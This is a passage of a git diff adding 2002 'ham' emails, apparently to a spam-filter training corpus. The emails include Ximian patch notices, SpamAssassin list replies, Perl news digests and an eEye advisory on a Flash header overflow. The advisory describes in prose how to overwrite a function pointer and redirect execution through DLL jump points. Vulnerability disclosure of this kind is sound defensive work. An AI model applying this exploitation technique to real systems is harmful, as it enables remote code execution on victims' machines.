story at: + http://use.perl.org/comments.pl?sid=02/08/05/1323232 + +Links: + 0. mailto:mjd@plover.com + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01354.8e144e757b8d89ecc67627def316cc5f b/bayes/spamham/easy_ham_2/01354.8e144e757b8d89ecc67627def316cc5f new file mode 100644 index 0000000..6c6b3b7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01354.8e144e757b8d89ecc67627def316cc5f @@ -0,0 +1,76 @@ +From updates-admin@ximian.com Wed Aug 7 09:20:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 17FC7440C9 + for ; Wed, 7 Aug 2002 04:20:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 09:20:46 +0100 (IST) +Received: from trna.ximian.com (trna.ximian.com [141.154.95.22]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g778IYk17098; + Wed, 7 Aug 2002 09:18:35 +0100 +Received: from trna.ximian.com (localhost [127.0.0.1]) by trna.ximian.com + (8.11.6/8.11.6) with ESMTP id g76Lbr300332; Tue, 6 Aug 2002 17:37:53 -0400 +Received: from peabody.ximian.com (peabody.ximian.com [141.154.95.10]) by + trna.ximian.com (8.11.6/8.11.6) with ESMTP id g76L6C326852 for + ; Tue, 6 Aug 2002 17:06:12 -0400 +Date: Tue, 6 Aug 2002 17:06:12 -0400 +Message-Id: <200208062106.g76L6C326852@trna.ximian.com> +Received: (qmail 18772 invoked from network); 6 Aug 2002 21:06:29 -0000 +Received: from localhost (127.0.0.1) by localhost with SMTP; + 6 Aug 2002 21:06:29 -0000 +From: Ximian GNOME Security Team +To: Ximian Updates +Subject: [Ximian Updates] libpng has a potential buffer overflow when loading progressive images +Sender: updates-admin@ximian.com +Errors-To: updates-admin@ximian.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Announcements about updates to the Ximian GNOME distribution. + +X-Beenthere: updates@ximian.com + +Severity: Security +Product: libpng +Keywords: Red Carpet libpng buffer overflow +URL: http://support.ximian.com/q?283 +References: +Release Notes for libpng +ftp://swrinde.nde.swri.edu/pub/png-group/archives/png-list.200207 + +libpng is a library used to create and manipulate PNG (Portable +Network Graphics) image files. + +The 1.2.4* and 1.0.14 releases of libpng solve a potential buffer +overflow vulnerability[1] in some functions related to progressive +image loading. Programs such as mozilla and various others use these +functions. An attacker could exploit this to remotely run arbitrary +code or crash an application by using a specially crafted png image. + +These new releases also solve other minor bugs such as some memory +leaks in reading image functions. + +Since most applications which display images use libpng, this affects +many applications including Evolution and Mozilla. Additionally, Red +Carpet links libpng statically and needs to be updated separately. + +Ximian only ships libpng on Solaris, and so we only have Solaris +packages available. When distribution vendors update their packages, +they will be available in Red Carpet. Please use Red Carpet to upgrade +libpng to 1.0.14 and Red Carpet 1.3.4-2. You can also get packages +from the Ximian FTP site: + +Solaris 7/8 +ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/libpng-1.0.14-1.ximian.1.sparc.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/libpng-devel-1.0.14-1.ximian.1.sparc.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/red-carpet-1.3.4-2.ximian.1.sparc.rpm + + + +_______________________________________________ +updates maillist - updates@ximian.com +http://lists.ximian.com/mailman/listinfo/updates +Please DO NOT reply to this list! Use bugs@helixcode.com or hello@helixcode.com instead. + + diff --git a/bayes/spamham/easy_ham_2/01355.656b29d0ab8c8d02c0920b4799f4d207 b/bayes/spamham/easy_ham_2/01355.656b29d0ab8c8d02c0920b4799f4d207 new file mode 100644 index 0000000..d4be776 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01355.656b29d0ab8c8d02c0920b4799f4d207 @@ -0,0 +1,123 @@ +From updates-admin@ximian.com Wed Aug 7 10:31:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B83EA440A8 + for ; Wed, 7 Aug 2002 05:31:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 10:31:11 +0100 (IST) +Received: from trna.ximian.com (trna.ximian.com [141.154.95.22]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g779Rtk19671; + Wed, 7 Aug 2002 10:27:56 +0100 +Received: from trna.ximian.com (localhost [127.0.0.1]) by trna.ximian.com + (8.11.6/8.11.6) with ESMTP id g76LcM300402; Tue, 6 Aug 2002 17:38:22 -0400 +Received: from peabody.ximian.com (peabody.ximian.com [141.154.95.10]) by + trna.ximian.com (8.11.6/8.11.6) with ESMTP id g76JfN319421 for + ; Tue, 6 Aug 2002 15:41:23 -0400 +Date: Tue, 6 Aug 2002 15:41:23 -0400 +From: distribution@ximian.com +Message-Id: <200208061941.g76JfN319421@trna.ximian.com> +Received: (qmail 13900 invoked from network); 6 Aug 2002 19:41:56 -0000 +Received: from localhost (127.0.0.1) by localhost with SMTP; + 6 Aug 2002 19:41:56 -0000 +Severity: Security +Product: gaim +Keywords: gaim jabber buffer overflow +Url: http://support.ximian.com/q?286 +References: +Subject: [Ximian Updates] (no subject) +Sender: updates-admin@ximian.com +Errors-To: updates-admin@ximian.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Announcements about updates to the Ximian GNOME distribution. + +X-Beenthere: updates@ximian.com +To: undisclosed-recipients:; + +CAN-2002-0384 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0384 +RHSA-2002-098 http://rhn.redhat.com/errata/RHSA-2002-098.html +Gaim Changelog http://gaim.sourceforge.net/ChangeLog + +Gaim is an instant messaging client based on the published TOC +protocol from AOL. Versions of Gaim prior to 0.58 contain a buffer +overflow in the Jabber plug-in module. + +Please download Gaim 0.59 or later using Red Carpet. You may also +obtain this update from the Ximian FTP site. + +Debian Potato +ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim_0.59-1.ximian.1_i386.deb +ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim-common_0.59-1.ximian.1_i386.deb +ftp://ftp.ximian.com/pub/ximian-gnome/debian-potato-i386/gaim-gnome_0.59-1.ximian.1_i386.deb + +Mandrake 8.0 +ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-80-i586/gaim-0.59-1.ximian.1.i586.rpm + +Mandrake 8.1 +ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-81-i586/gaim-0.59-1.ximian.1.i586.rpm + +Mandrake 8.2 +ftp://ftp.ximian.com/pub/ximian-gnome/mandrake-82-i586/gaim-0.59-1.ximian.1.i586.rpm + +Redhat 6.2 +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-62-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-62-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +Redhat 7.0 +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-70-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-70-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +Redhat 7.1 +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-71-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-71-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +Redhat 7.2 +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-72-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-72-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +Redhat 7.3 +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-73-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/redhat-73-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +Solaris 7/8 +ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/gaim-0.59-1.ximian.1.sparc.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/solaris-7-sun4/gaim-applet-0.59-1.ximian.1.sparc.rpm + +SuSE 7.1 +ftp://ftp.ximian.com/pub/ximian-gnome/suse-71-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/suse-71-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +SuSE 7.2 +ftp://ftp.ximian.com/pub/ximian-gnome/suse-72-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/suse-72-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +SuSE 7.3 +ftp://ftp.ximian.com/pub/ximian-gnome/suse-73-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/suse-73-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +SuSE 8.0 +ftp://ftp.ximian.com/pub/ximian-gnome/suse-80-i386/gaim-0.59-1.ximian.1.i386.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/suse-80-i386/gaim-applet-0.59-1.ximian.1.i386.rpm + +Yellowdog 2.0 +ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-20-ppc/gaim-0.59-1.ximian.1.ppc.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-20-ppc/gaim-applet-0.59-1.ximian.1.ppc.rpm + +Yellowdog 2.1 +ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-21-ppc/gaim-0.59-1.ximian.1.ppc.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-21-ppc/gaim-applet-0.59-1.ximian.1.ppc.rpm + +Yellowdog 2.2 +ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-22-ppc/gaim-0.59-1.ximian.1.ppc.rpm +ftp://ftp.ximian.com/pub/ximian-gnome/yellowdog-22-ppc/gaim-applet-0.59-1.ximian.1.ppc.rpm + + + +_______________________________________________ +updates maillist - updates@ximian.com +http://lists.ximian.com/mailman/listinfo/updates +Please DO NOT reply to this list! Use bugs@helixcode.com or hello@helixcode.com instead. + + diff --git a/bayes/spamham/easy_ham_2/01356.8d72d21568fbfdd4aec060fa8826832a b/bayes/spamham/easy_ham_2/01356.8d72d21568fbfdd4aec060fa8826832a new file mode 100644 index 0000000..cee89b5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01356.8d72d21568fbfdd4aec060fa8826832a @@ -0,0 +1,23 @@ +From nobody@sonic.spamtraps.taint.org Wed Aug 7 14:39:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D6C9440CD + for ; Wed, 7 Aug 2002 09:38:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 14:38:56 +0100 (IST) +Received: from sonic.spamtraps.taint.org (spamassassin.sonic.net + [64.142.3.172]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g77Ddlk31933 for ; Wed, 7 Aug 2002 14:39:47 +0100 +Received: by sonic.spamtraps.taint.org (Postfix, from userid 99) id + 700AE1330E2; Wed, 7 Aug 2002 06:38:04 -0700 (PDT) +Message-Id: <20020807133804.700AE1330E2@sonic.spamtraps.taint.org> +Date: Wed, 7 Aug 2002 06:38:04 -0700 (PDT) +From: nobody@sonic.spamtraps.taint.org (Nobody) +To: undisclosed-recipients: ; + +Problem with spamtrap +Could not lock /home/yyyy/lib/spamtrap/spam.mbox: File exists at lib/Mail/SpamAssassin/NoMailAudit.pm line 484, line 94. + + diff --git a/bayes/spamham/easy_ham_2/01357.102c99f3c387520d97c19c884c886355 b/bayes/spamham/easy_ham_2/01357.102c99f3c387520d97c19c884c886355 new file mode 100644 index 0000000..1329712 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01357.102c99f3c387520d97c19c884c886355 @@ -0,0 +1,87 @@ +From spamassassin-talk-admin@lists.sourceforge.net Thu Aug 8 15:54:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7216244118 + for ; Thu, 8 Aug 2002 10:03:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 15:03:05 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g78E2u211245 for ; Thu, 8 Aug 2002 15:02:56 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cnoc-0000VF-00; Thu, + 08 Aug 2002 06:59:02 -0700 +Received: from otis1-177561-dp.dhcp.fnal.gov ([131.225.95.152]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cnnk-00022v-00 for ; + Thu, 08 Aug 2002 06:58:08 -0700 +Received: (from wellner@localhost) by otis1-177561-dp.dhcp.fnal.gov + (8.11.6/8.11.6) id g78Dw2u01868; Thu, 8 Aug 2002 08:58:02 -0500 +X-Authentication-Warning: otis1-177561-dp.dhcp.fnal.gov: wellner set + sender to spamassassin@objenv.com using -f +To: "Tony L. Svanstrom" +Cc: Justin Mason , + "Craig R.Hughes" , + Christopher Crowley , + +Subject: Re: [SAtalk] Is this a violation of TRADEMARK? +References: <20020806183451.X54243-100000@moon.campus.luth.se> +X-Stock-Tip: PTN +X-Mbti: ESTJ +From: Rich Wellner +In-Reply-To: <20020806183451.X54243-100000@moon.campus.luth.se> + ("Tony L. Svanstrom"'s + message of + "Tue, 6 Aug 2002 18:39:50 +0200 (CEST)") +Message-Id: +User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.1 (Cuyahoga Valley, + i386-redhat-linux) +Organization: Spam For All +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 08:58:01 -0500 +Date: Thu, 08 Aug 2002 08:58:01 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g78E2u211245 + +"Tony L. Svanstrom" writes: + +> IMHO it's wrong that any company is allowed to use the name of a public +> project commercially, while others aren't´; esp. when it's a name that tells +> Average Joe that that version is so much better than the free one. + +Dude, take that one up with Redhat, Suse, IBM or any of the other folks using +the name of a public project (i.e. Linux) for a commercial product. ;-) + +This is not only a concept with precedent it's actually quite common. + +rw2 + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01358.114d4d6ec3f1b50509de356f8b1267cc b/bayes/spamham/easy_ham_2/01358.114d4d6ec3f1b50509de356f8b1267cc new file mode 100644 index 0000000..f3905e5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01358.114d4d6ec3f1b50509de356f8b1267cc @@ -0,0 +1,79 @@ +From spamassassin-talk-admin@lists.sourceforge.net Thu Aug 8 15:54:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 74C9544100 + for ; Thu, 8 Aug 2002 09:32:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 08 Aug 2002 14:32:51 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g78DXS208994 for + ; Thu, 8 Aug 2002 14:33:28 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id OAA30801 for + ; Thu, 8 Aug 2002 14:30:26 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cnLd-0002VG-00; Thu, + 08 Aug 2002 06:29:05 -0700 +Received: from [194.165.165.199] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cnL2-0001sf-00 for ; + Thu, 08 Aug 2002 06:28:29 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g78DRYp25088; Thu, 8 Aug 2002 14:27:34 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 5AD82440FC; Thu, 8 Aug 2002 09:27:15 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 55BA033F85; + Thu, 8 Aug 2002 14:27:15 +0100 (IST) +To: Ross Vandegrift +Cc: Justin Mason , + Jonas Pasche , + spamassassin-talk@lists.sourceforge.net +Subject: Re: [SAtalk] whitelisting mailing lists +In-Reply-To: Message from Ross Vandegrift of + "Wed, 07 Aug 2002 14:39:26 EDT." + <20020807183926.GA16333@willow.seitz.com> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020808132715.5AD82440FC@phobos.labs.netnoteinc.com> +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 14:27:10 +0100 +Date: Thu, 08 Aug 2002 14:27:10 +0100 + + +Ross Vandegrift said: + +> Won't this whitelist spams sent to mailing lists though? + +only if you've whitelisted the mailing list. In that case, c'est la vie +;) + +--j. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01359.8252955a19112d1adb6abeef20ffb9ea b/bayes/spamham/easy_ham_2/01359.8252955a19112d1adb6abeef20ffb9ea new file mode 100644 index 0000000..a20599b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01359.8252955a19112d1adb6abeef20ffb9ea @@ -0,0 +1,49 @@ +From jm@webnote.net Fri Aug 9 15:12:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3C35F440D4 + for ; Fri, 9 Aug 2002 10:12:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:12:33 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EDCb05516 for + ; Fri, 9 Aug 2002 15:13:12 +0100 +Received: from mandark.labs.netnoteinc.com ([194.165.165.199]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA05284 for ; + Fri, 9 Aug 2002 11:19:31 +0100 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g79AHup25703; Fri, 9 Aug 2002 11:17:56 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 1DD35440CF; Fri, 9 Aug 2002 06:17:25 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id E608833F7E; + Fri, 9 Aug 2002 11:17:25 +0100 (IST) +To: Theo Van Dinter +Cc: Justin Mason , + SpamAssassin-devel@lists.sourceforge.net +Subject: Re: [SAdev] RESENT_TO, argh +In-Reply-To: Message from Theo Van Dinter of + "Thu, 08 Aug 2002 12:02:05 EDT." + <20020808160205.GB15462@kluge.net> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Date: Fri, 09 Aug 2002 11:17:20 +0100 +Sender: yyyy@webnote.net +Message-Id: <20020809101725.1DD35440CF@phobos.labs.netnoteinc.com> + + +Theo Van Dinter said: + +> Well, I have my users bounce me their spams (which means there's 2 +> users who do it), and I wrote this procmail bit just for the reason +> you mentioned: + +urgh. I guess fixing the spamtraps to strip the headers before +writing them is the best thing to do... + +--j. + + diff --git a/bayes/spamham/easy_ham_2/01360.12e20ec23520b1c5515424bf77ed94c8 b/bayes/spamham/easy_ham_2/01360.12e20ec23520b1c5515424bf77ed94c8 new file mode 100644 index 0000000..6aa1484 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01360.12e20ec23520b1c5515424bf77ed94c8 @@ -0,0 +1,129 @@ +From vulnwatch-return-430-jm=jmason.org@vulnwatch.org Fri Aug 9 15:34:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EFBEF440DC + for ; Fri, 9 Aug 2002 10:33:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:35 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EPOb06890 for + ; Fri, 9 Aug 2002 15:25:29 +0100 +Received: from vikki.vulnwatch.org ([199.233.98.101]) by webnote.net + (8.9.3/8.9.3) with SMTP id DAA02996 for ; Fri, + 9 Aug 2002 03:31:50 +0100 +Received: (qmail 254 invoked by alias); 9 Aug 2002 01:34:23 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 23589 invoked from network); 9 Aug 2002 01:12:03 -0000 +From: "Marc Maiffret" +To: "vulwatch" +Date: Thu, 8 Aug 2002 17:26:22 -0700 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [VulnWatch] EEYE: Macromedia Shockwave Flash Malformed Header Overflow + +Macromedia Shockwave Flash Malformed Header Overflow + +Release Date: August 8, 2002 + +Severity: +High (Remote Code Execution) + +Systems Affected: +Macromedia Shockwave Flash - All Versions; +Unix and Windows; Netscape and Internet Explorer + +Description: +While working on some pre-release eEye Retina CHAM tools, an exploitable +condition was discovered within the Shockwave Flash file format called SWF +(pronounced "SWIF"). + +Since this is a browser based bug, it makes it trivial to bypass firewalls +and attack the user at his desktop. Also, application browser bugs allow you +to target users based on the websites they visit, the newsgroups they read, +or the mailing lists they frequent. It is a "one button" push attack, and +using anonymous remailers or proxies for these attacks is possible. + +This vulnerability has been proven to work with all versions of Macromedia +Flash on Windows and Unix, through IE and Netscape. It may be run wherever +Shockwave files may be displayed or attached, including: websites, email, +news postings, forums, Instant Messengers, and within applications utilizing +web-browsing functionality. + +Technical Description: +The data header is roughly made out to: + +[Flash signature][version (1)][File Length(A number of bytes too +short)][frame size (malformed)][Frame Rate (malformed)][Frame Count +(malformed)][Data] + +By creating a malformed header we can supply more frame data than the +decoder is expecting. By supplying enough data we can overwrite a function +pointer address and redirect the flow of control to a specified location as +soon as this address is used. At the moment the overwritten address takes +control flow, an address pointing to a portion of our data is 8 bytes back +from the stack pointer. By using a relative jump we redirect flow into a +"call dword ptr [esp+N]", where N is the number of bytes from the stack +pointer. These "jump points" can be located in multiple loaded dll's. By +creating a simple tool using the debugging API and ReadMemory, you can +examine a process's virtual address space for useful data to help you with +your exploitation. + +This is not to say other potentially vulnerable situations have not been +found in Macromedia's Flash. We discovered about seventeen others before we +ended our testing. We are working with Macromedia on these issues. + +Protection: +Retina(R) Network Security Scanner already scans for this latest version of +Flash on users' systems. Ensure all users within your control upgrade their +systems. + +Vendor Status: +Macromedia has released a patch for this vulnerability, available at: +http://www.macromedia.com/v1/handlers/index.cfm?ID=23293&Method=Full&Title=M +PSB02%2D09%20%2D%20Macromedia%20Flash%20Malformed%20Header%20Vulnerability%2 +0Issue&Cache=False + +Discovery: Drew Copley +Exploitation: Riley Hassell + +Greetings: Hacktivismo!, Centra Spike + +Copyright (c) 1998-2002 eEye Digital Security +Permission is hereby granted for the redistribution of this alert +electronically. It is not to be edited in any way without express consent of +eEye. If you wish to reprint the whole or any part of this alert in any +other medium excluding electronic medium, please e-mail alert@eEye.com for +permission. + +Disclaimer +The information within this paper may change without notice. Use of this +information constitutes acceptance for use in an AS IS condition. There are +NO warranties with regard to this information. In no event shall the author +be liable for any damages whatsoever arising out of or in connection with +the use or spread of this information. Any use of this information is at the +user's own risk. + +Feedback +Please send suggestions, updates, and comments to: + +eEye Digital Security +http://www.eEye.com +info@eEye.com + + diff --git a/bayes/spamham/easy_ham_2/01361.6f023e661ef3d444c9f223c15bef529a b/bayes/spamham/easy_ham_2/01361.6f023e661ef3d444c9f223c15bef529a new file mode 100644 index 0000000..5416f97 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01361.6f023e661ef3d444c9f223c15bef529a @@ -0,0 +1,54 @@ +From pudge@perl.org Fri Aug 9 15:34:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E84FF440DE + for ; Fri, 9 Aug 2002 10:33:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:39 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EPwb06945 for + ; Fri, 9 Aug 2002 15:25:59 +0100 +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by webnote.net (8.9.3/8.9.3) with ESMTP id DAA02783 for + ; Fri, 9 Aug 2002 03:01:23 +0100 +From: pudge@perl.org +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17cz4E-0008A6-00 for ; + Thu, 08 Aug 2002 21:59:54 -0400 +Date: Fri, 09 Aug 2002 02:00:22 +0000 +Subject: [use Perl] Headlines for 2002-08-09 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Damian Conway to speak in London + posted by ziggy on Thursday August 08, @15:21 (damian) + http://use.perl.org/article.pl?sid=02/08/08/1923211 + +Meeting in Budapest + posted by ziggy on Thursday August 08, @17:24 (groups) + http://use.perl.org/article.pl?sid=02/08/08/1927253 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01362.a63dddffa1f9903a480cd9aaaf6d16f3 b/bayes/spamham/easy_ham_2/01362.a63dddffa1f9903a480cd9aaaf6d16f3 new file mode 100644 index 0000000..9651c43 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01362.a63dddffa1f9903a480cd9aaaf6d16f3 @@ -0,0 +1,101 @@ +From pudge@perl.org Fri Aug 9 15:34:57 